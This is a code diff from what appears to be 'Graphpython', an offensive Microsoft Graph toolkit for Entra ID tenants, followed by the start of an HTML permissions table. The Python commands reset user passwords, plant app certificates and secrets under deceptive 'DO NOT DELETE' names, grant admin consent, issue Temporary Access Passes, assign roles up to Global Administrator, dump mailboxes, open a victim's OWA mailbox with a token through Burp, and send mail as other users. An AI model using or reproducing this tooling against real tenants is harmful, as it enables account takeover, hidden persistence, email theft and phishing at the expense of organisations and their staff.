'User-Agent': user_agent + } + + groups_with_members = [] + + while groups_url: + try: + response = requests.get(groups_url, headers=headers) + response.raise_for_status() + groups_response = response.json() + groups = groups_response.get('value', []) + except requests.exceptions.RequestException as e: + print_red(f"[-] An error occurred while retrieving security groups: {str(e)}") + return + for group in groups: + group_id = group['id'] + members_url = f"{graph_api_url}/groups/{group_id}/members" + + try: + members_response = requests.get(members_url, headers=headers) + members_response.raise_for_status() + members = members_response.json().get('value', []) + except requests.exceptions.HTTPError as e: + if e.response.status_code == 429: + print_yellow("[*] Being throttled... sleeping for 5 seconds") + time.sleep(5) + else: + print_red(f"[-] An error occurred while retrieving members for group {group['displayName']}: {str(e)}") + continue + + member_info = [ + member.get('userPrincipalName') or member.get('id', '') + for member in members + ] + + group_info = { + "GroupName": group['displayName'], + "GroupId": group_id, + "Members": member_info + } + + groups_with_members.append(group_info) + groups_url = groups_response.get('@odata.nextLink') + + if groups_with_members: + #print_green(f"[*] Found {len(groups_with_members)} security groups\n") + for group in groups_with_members: + print(f"Group Name: {group['GroupName']}") + print(f"Group ID: {group['GroupId']}") + print("Members:") + for member in group['Members']: + print(f" - {member}") + print() + else: + print_red("[-] No security groups found") + print("=" * 80) + +# update-userpassword +def update_userpassword(args): + if not args.id: + print_red("[-] Error: --id required for Update-UserPassword command") + return + + print_yellow("[*] Update-UserPassword") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "passwordProfile": { + "forceChangePasswordNextSignIn": False, + "password": "NewUserSecret@Pass!" + } + } + + response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("[+] User password profile updated") + + else: + print_red(f"[-] Failed to update user password: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# update-userproperties +def update_userproperties(args): + properties = [ + "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", + "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", + "country", "createdDateTime", "department", "displayName", "employeeId", + "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", + "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", + "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", + "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", + "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", + "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", + "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", + "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", + "schools", "showInAddressList", "skills", "state", "streetAddress", + "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" + ] + + if not args.id: + print_red("[-] Error: --id required for Update-UserProperties command") + return + + print_yellow("[*] Update-UserProperties") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + print("\033[34m[>] Property Definitions: https://learn.microsoft.com/en-us/graph/api/user-update\033[0m") + try: + userproperty = input("\nEnter Property: ").strip() + if userproperty not in properties: + print_red(f"\n[-] Error: '{userproperty}' is not a valid property.") + print("=" * 80) + sys.exit() + newvalue = input(f"Enter New '{userproperty}' Value: ").strip() + except KeyboardInterrupt: + sys.exit() + + json_body = { + userproperty : newvalue + } + + response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] User properties updated successfully") + + else: + print_red(f"\n[-] Failed to update user properties: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-applicationcertificate +def add_applicationcertificate(args): + openssl = """ +Genrate Certificate: +opessl genrsa -out private.key 2048 +opessl req -new -key private.key -out request.csr +opessl x509 -req -days 365 -in request.csr -signkey private.key -out certificate.crt +opessl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.crt + +Only certificate (public key) with one of the following file types: +.cer +.pem +.crt + """ + if not args.id or not args.cert: + print_red("[-] Error: --id and --cert required for Add-ApplicationCertificate command") + print_red(openssl) + return + + encoded_cert = read_and_encode_cert(args.cert) + + print_yellow("[*] Add-ApplicationCertificate") + print("=" * 80) + + # 1. Find existing certs so we don't remove them in the patch req + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Content-Type':'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + applications = response.json() + key_credentials = applications.get('keyCredentials', []) + + else: + print_red(f"[-] Error obtaining existing certificates {response.status_code}") + print_red(response.text) + + # 2. patch app added our cert to the existing + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" + + try: + displayname = input("\nEnter Certificate Display Name: ").strip() + if not displayname: + displayname = "DevOps Certificate - DO NOT DELETE" + + except KeyboardInterrupt: + sys.exit() + + new_key_credential = { + "type": "AsymmetricX509Cert", + "usage": "Verify", + "key": encoded_cert, + "displayName": displayname + } + + key_credentials.append(new_key_credential) + data = { + "keyCredentials": key_credentials + } + + response = requests.patch(api_url, headers=headers, json=data) + if response.ok: + print_green("\n[+] Successfully added application certificate") + else: + print_red(f"\n[-] Failed to add certificate: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-applicationpassword +def add_applicationpassword(args): + if not args.id: + print_red("[-] Error: --id required for Add-ApplicationPassword command") + return + + print_yellow("[*] Add-ApplicationPassword") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}/addPassword" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + current_time_utc = datetime.now(timezone.utc) + six_months_later = current_time_utc + timedelta(days=6*30) + formatted_date = six_months_later.strftime("%Y-%m-%dT%H:%M:%SZ") + json_body = {"displayName":"Added by Azure Service Bus - DO NOT DELETE", "endDateTime": formatted_date} + + response = requests.post(api_url, headers=headers, json=json_body) + + if response.ok: + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + if key == "secretText": + print_green(f"{key}: {pretty_value}") + else: + print(f"{key}: {pretty_value}") + else: + print_red(f"[-] Failed to add password: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-applicationpermission +def add_applicationpermission(args): + if not args.id: + print_red("[-] Error: --id required for Add-ApplicationPermission command") + return + + print_yellow("[*] Add-ApplicationPermission") + print("=" * 80) + + # 1. check existing permissions + api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id + #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + response = requests.get(api_url, headers=headers) + existingperms = [] + if response.status_code == 200: + response_json = response.json() + existingperms = response_json.get('requiredResourceAccess', []) + + # 2. patch perms + api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id + #api_url = f"https://graph.microsoft.com/v1.0/myorganization/applications/{args.id}" # object id + print("\033[34m[>] API Permissions: https://learn.microsoft.com/en-us/graph/permissions-reference\033[0m") + + # permission id validation + def parse_permissionid(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_consent) + return permissions + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + + permissions = parse_permissionid(content) + + try: + permissionid = input("\nEnter API Permission ID: ").strip() + if permissionid not in permissions: + print_red("\n[-] Invalid permission ID. Not in graphpermissions.txt") + sys.exit(1) + + permission_info = permissions[permissionid] + if len(permission_info) == 3: + permission_type, permission_name, admin_consent_required = permission_info + else: + permission_type, permission_name = permission_info + admin_consent_required = "Unknown" + + print(f"\nPermission ID: {permissionid} corresponds to '{permission_name}' with type '{permission_type}'") + + # grant admin consent option + print(f"Admin Consent Required: {admin_consent_required}") + if admin_consent_required.lower() == 'yes': + grantadminconsent = input(f"\nGrant Admin Consent For: {permission_name}? (yes/no): ").strip().lower() + else: + pass + grantadminconsent = 'no' + + except KeyboardInterrupt: + sys.exit(1) + + if permission_type.lower() == "application": + typevalue = "Role" + elif permission_type.lower() == "delegated": + typevalue = "Scope" + else: + print_red("\n[-] Unexpected error") + print("=" * 80) + sys.exit() + + graphresource = next((resource for resource in existingperms if resource['resourceAppId'] == '00000003-0000-0000-c000-000000000000'), None) # does Microsoft Graph resource already exist + + if graphresource: + graphresource['resourceAccess'].append({ + "id": permissionid, + "type": typevalue + }) + else: + existingperms.append({ + "resourceAppId": "00000003-0000-0000-c000-000000000000", + "resourceAccess": [ + { + "id": permissionid, # b633e1c5-b582-4048-a93e-9f11b44c7e96 -> Mail.Send (Application perm - admin consent required) + "type": typevalue + } + ] + }) + + # assign perm json + data = { + "requiredResourceAccess": existingperms + } + clientAppId = args.id + # admin consent json + admin_data = { + "clientAppId": clientAppId, + "onBehalfOfAll": True, + "checkOnly": False, + "tags": [], + "constrainToRra": True, + "dynamicPermissions": [ + { + "appIdentifier": "00000003-0000-0000-c000-000000000000", + "appRoles": [permission_name], + "scopes": [] + } + ] + } + + response = requests.patch(api_url, headers=headers, json=data) + if grantadminconsent == "no": + if response.ok: + print_green("\n[+] Application permissions updated successfully") + print("=" * 80) + sys.exit() + else: + print_red(f"\n[-] Failed to update application permissions: {response.status_code}") + print_red(response.text) + print("=" * 80) + sys.exit() + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent, + 'Content-Type': 'application/json', + } + + # any failures granting admin consent likely due to token scope/perms + if grantadminconsent == "yes": + if response.ok: + print_green("\n[+] Application permissions updated successfully") + print() + custom_bar = '╢{bar:50}╟' + for _ in tqdm(range(5), bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): + time.sleep(1) + + granturl = "https://graph.microsoft.com/beta/directory/consentToApp" + grantreq = requests.post(granturl, headers=headers, json=admin_data) + + if grantreq.ok: + print_green(f"[+] Admin consent granted for: '{permission_name}'") + else: + print_red(f"\n[-] Failed to grant admin consent: {grantreq.status_code}") + print_red(grantreq.text) + print("=" * 80) + +# grant-appadminconsent +def grant_appadminconsent(args): + if not args.id: + print_red("[-] Error: --id required for Grant-AppAdminConsent command") + return + + print_yellow("[*] Grant-AppAdminConsent") + print("=" * 80) + clientAppId = args.id + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent, + 'Content-Type': 'application/json', + } + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + try: + permission_names = input("\nEnter Permission Names (comma-separated): ").strip().split(',') + permission_names = [name.strip() for name in permission_names] + + except KeyboardInterrupt: + sys.exit() + + invalid_permissions = [name for name in permission_names if name not in content] + + if invalid_permissions: + print_red(f"\n[-] Invalid Graph permissions: {', '.join(invalid_permissions)}") + print("=" * 80) + sys.exit() + admin_data = { + "clientAppId": clientAppId, + "onBehalfOfAll": True, + "checkOnly": False, + "tags": [], + "constrainToRra": True, + "dynamicPermissions": [ + { + "appIdentifier": "00000003-0000-0000-c000-000000000000", + "appRoles": permission_names, + "scopes": [] + } + ] + } + + url = "https://graph.microsoft.com/beta/directory/consentToApp" + request = requests.post(url, headers=headers, json=admin_data) + + if request.ok: + print_green(f"\n[+] Admin consent granted for: '{', '.join(permission_names)}'") + else: + print_red(f"\n[-] Failed to grant admin consent: {request.status_code}") + print_red(request.text) + print("=" * 80) + +# add-userTAP +def add_usertap(args): + if not args.id: + print_red("[-] Error: --id required for Add-UserTAP command") + return + + print_yellow("[*] Add-UserTAP") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/temporaryAccessPassMethods" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + current_time_utc = datetime.now(timezone.utc) + one_hour_later = current_time_utc + timedelta(minutes=60) + formatted_date = one_hour_later.strftime("%Y-%m-%dT%H:%M:%SZ") + + json_body = { + "properties": { + "isUsableOnce": True, + "startDateTime": formatted_date + } + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + url = response_body.get("@odata.nextLink") + if url: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + else: + print_red(f"[-] Failed to add TAP: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-groupmember +def add_groupmember(args): + if not args.id: + print_red("[-] Error: --id groupid,objectid required for Add-GroupMember command") + return + + ids = args.id.split(',') + if len(ids) != 2: + print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") + return + + group_id, member_id = ids[0].strip(), ids[1].strip() + print_yellow("[*] Add-GroupMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/$ref" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{member_id}" + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("[+] User added to group") + else: + print_red(f"[-] Failed to add group member: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# create-application +def create_application(args): + print_yellow("[*] Create-Application") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/applications" + + try: + appname = input("\nEnter App Name: ").strip() + except KeyboardInterrupt: + sys.exit() + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = {"displayName": appname} + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Application created\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + else: + print_red(f"[-] Failed to create application: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# create-newuser +def create_newuser(args): + print_yellow("[*] Create-NewUser") + print("=" * 80) + + try: + display_name = input("\nEnter Display Name: ").strip() + mail_nickname = input("Enter Mail Nickname: ").strip() + user_principal_name = input("Enter User Principal Name: ").strip() + password = input("Enter Password: ").strip() + except KeyboardInterrupt: + sys.exit() + + api_url = f"https://graph.microsoft.com/v1.0/users/" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "accountEnabled": True, + "displayName": display_name, + "mailNickname": mail_nickname, + "userPrincipalName": user_principal_name, + "passwordProfile": { + "forceChangePasswordNextSignIn": True, + "password": password + } + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] New user created\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + else: + print_red(f"[-] Failed to create new user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invite-guestuser +def invite_guestuser(args): + if not args.tenant: + print_red("[-] Error: --tenant required for Invite-GuestUser command") + return + + print_yellow("[*] Invite-GuestUser") + print("=" * 80) + + try: + email = input("\nEnter Email Address: ").strip() + displayname = input("Enter Display Name: ").strip() + redirecturl = input("Enter Invite Redirect URL (leave blank for default): ").strip() # https://myapplications.microsoft.com/?tenantid=... + sendinvitationmessage = input("Send Email Invitation? (true/false): ").strip().lower() + custommessage = input("Custom Message Body: ").strip() + except KeyboardInterrupt: + sys.exit() + + if redirecturl == "": + redirecturl = f"https://myapplications.microsoft.com/?tenantid={args.tenant}" + + api_url = f"https://graph.microsoft.com/v1.0/invitations" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "invitedUserEmailAddress": email, + "invitedUserDisplayName": displayname, + "inviteRedirectUrl": redirecturl, + "sendInvitationMessage": sendinvitationmessage, + "invitedUserMessageInfo": { + "customizedMessageBody": custommessage + } + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Guest user invited\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + else: + print_red(f"[-] Failed to invite guest user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# assign-privilegedrole +def assign_privilegedrole(args): + roles = [ + {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, + {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, + {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, + {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, + {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, + {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, + {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, + {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, + {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, + {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, + {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, + {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, + {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, + {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, + {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, + {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, + {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, + {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, + {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, + {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, + {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, + {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, + {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, + {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, + {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, + {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, + {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, + {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} + ] + print_yellow("[*] Assign-PrivilegedRole") + print("=" * 80) + + table = [[role["displayName"], role["roleTemplateId"], role["description"]] for role in roles] + separator = ['-' * 20, '-' * 20, '-' * 20] + print(tabulate([["Display Name", "Role Template ID", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left", "left"))) + + try: + roleid = input("\nEnter Role Template ID: ").strip() + objectid = input("Enter Object ID (user/group id): ").strip() + scopeid = input("Enter Scope ID (enter '/' for tenant wide): ").strip() # e.g. "/administrativeUnits/5d107bba-d8e2-4e13-b6ae-884be90e5d1a" or / for tenant wide scope + except KeyboardInterrupt: + sys.exit() + + api_url = f"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "@odata.type": "#microsoft.graph.unifiedRoleAssignment", + "roleDefinitionId": roleid, + "principalId": objectid, + "directoryScopeId": scopeid + } + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Role assigned\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + else: + print_red(f"\n[-] Failed to assign role: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# open-owamailboxinbrowser +# - check this is still valid +def open_owamailboxinbrowser(args): + print_yellow("[*] Open-OWAMailboxInBrowser") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "User-Agent": user_agent + } + + if args.only_return_cookies: + try: + response = requests.get("https://substrate.office.com/owa/", headers=headers, allow_redirects=False) + print_green("[+] Cookies:") + print(response.headers.get('Set-Cookie')) + except requests.RequestException as e: + print_red(f"[-] Error making request: {str(e)}") + else: + print("To open the OWA mailbox in a browser using a Substrate Access Token:") + print("1. Open a new BurpSuite Repeater tab & set the Target to 'https://substrate.office.com'") + print("2. Paste the below request into Repeater & Send") + print("3. Right click the response > 'Show response in browser', then open the response in Burp's embedded browser") + print("4. Refresh the page to access the mailbox") + print() + print("GET /owa/ HTTP/1.1") + print(f"Host: substrate.office.com") + print(f"Authorization: Bearer {get_access_token(args.token)}") + print() + print("=" * 80) + +# dump-owamailbox +def dump_owamailbox(args): + if not args.mail_folder: + print_red("[-] Mail folder --mail-folder is required for this command.") + return + + if args.id: + base_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/mailFolders/{args.mail_folder}/messages" + else: + base_url = f"https://graph.microsoft.com/v1.0/me/mailFolders/{args.mail_folder}/messages" + + query_params = [] + + if args.select: + query_params.append(f"$select={args.select}") + if args.top: + query_params.append(f"$top={args.top}") + if query_params: + api_url = f"{base_url}?" + "&".join(query_params) + else: + api_url = base_url + + max_results = 400 + print_yellow("[*] Dump-OWAMailbox") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "User-Agent": user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + response_body = response.json() + filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} + if filtered_data: + if not filtered_data.get('value'): + print_red("[-] No data found") + return + email_count = 1 + for d in filtered_data.get('value', []): + print_green(f"Email {email_count}") + for key, value in d.items(): + print(f"{key} : {value}") + print("\n") + email_count += 1 + + url = response_body.get("@odata.nextLink") + if url: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + + except requests.RequestException as e: + print_red(f"[-] Error making request: {str(e)}") + print("=" * 80) + +# spoof-owaemailmessage +def spoof_owaemailmessage(args): + if not args.email: + print_red("[-] Error: --email argument is required for Spoof-OWAEmailMessage command") + return + + print_yellow("[*] Spoof-OWAEmailMessage") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/sendMail" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/sendMail" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + try: + subject = input("\nEnter Subject: ").strip() + torecipients = input("Enter toRecipients (comma-separated): ").strip() + ccrecipients = input("Enter ccRecipients (comma-separated): ").strip() + savetf = input("Save To Sent Items (true/false): ").strip().lower() == 'true' + except KeyboardInterrupt: + sys.exit() + + to_recipients = [{"emailAddress": {"address": email.strip()}} for email in torecipients.split(',') if email.strip()] + cc_recipients = [{"emailAddress": {"address": email.strip()}} for email in ccrecipients.split(',') if email.strip()] + content = read_file_content(args.email) + json_body = { + "message": { + "subject": subject, + "body": { + "contentType": "Text", + "content": content + }, + "toRecipients": to_recipients, + "ccRecipients": cc_recipients + }, + "saveToSentItems": savetf + } + + # Add attachment option - check what other files are supported... + # "attachments": [ + # { + # "@odata.type": "#microsoft.graph.fileAttachment", + # "name": "attachment.txt", + # "contentType": "text/plain", + # "contentBytes": "SGVsbG8gV29ybGQh" + # } + # ] + + response = requests.post(api_url, headers=headers, json=json_body) + if response.ok: + print_green("\n[+] Email sent successfully") + + else: + print_red(f"\n[-] Failed to send OWA email message: {response.status_code}") + print_red(response.text) + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/graphpermissions.txt b/Graphpython/commands/graphpermissions.txt new file mode 100644 index 0000000..5b49170 --- /dev/null +++ b/Graphpython/commands/graphpermissions.txt @@ -0,0 +1,20665 @@ +

    AccessReview.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierd07a8cc0-3d51-4b77-b3b0-32704d1f69faebfcd32b-babb-40f4-a14b-42706e83bd28
    DisplayTextRead all access reviewsRead all access reviews that user can access
    DescriptionAllows the app to read access reviews, reviewers, decisions and settings in the organization, without a signed-in user.Allows the app to read access reviews, reviewers, decisions and settings that the signed-in user has access to in the organization.
    AdminConsentRequiredYesYes
    +
    +

    AccessReview.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifieref5f7d5c-338f-44b0-86c3-351f46c8bb5fe4aa47b9-9a69-4109-82ed-36ec70d85ff1
    DisplayTextManage all access reviewsManage all access reviews that user can access
    DescriptionAllows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings in the organization, without a signed-in user.Allows the app to read, update, delete and perform actions on access reviews, reviewers, decisions and settings that the signed-in user has access to in the organization.
    AdminConsentRequiredYesYes
    +
    +

    AccessReview.ReadWrite.Membership

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
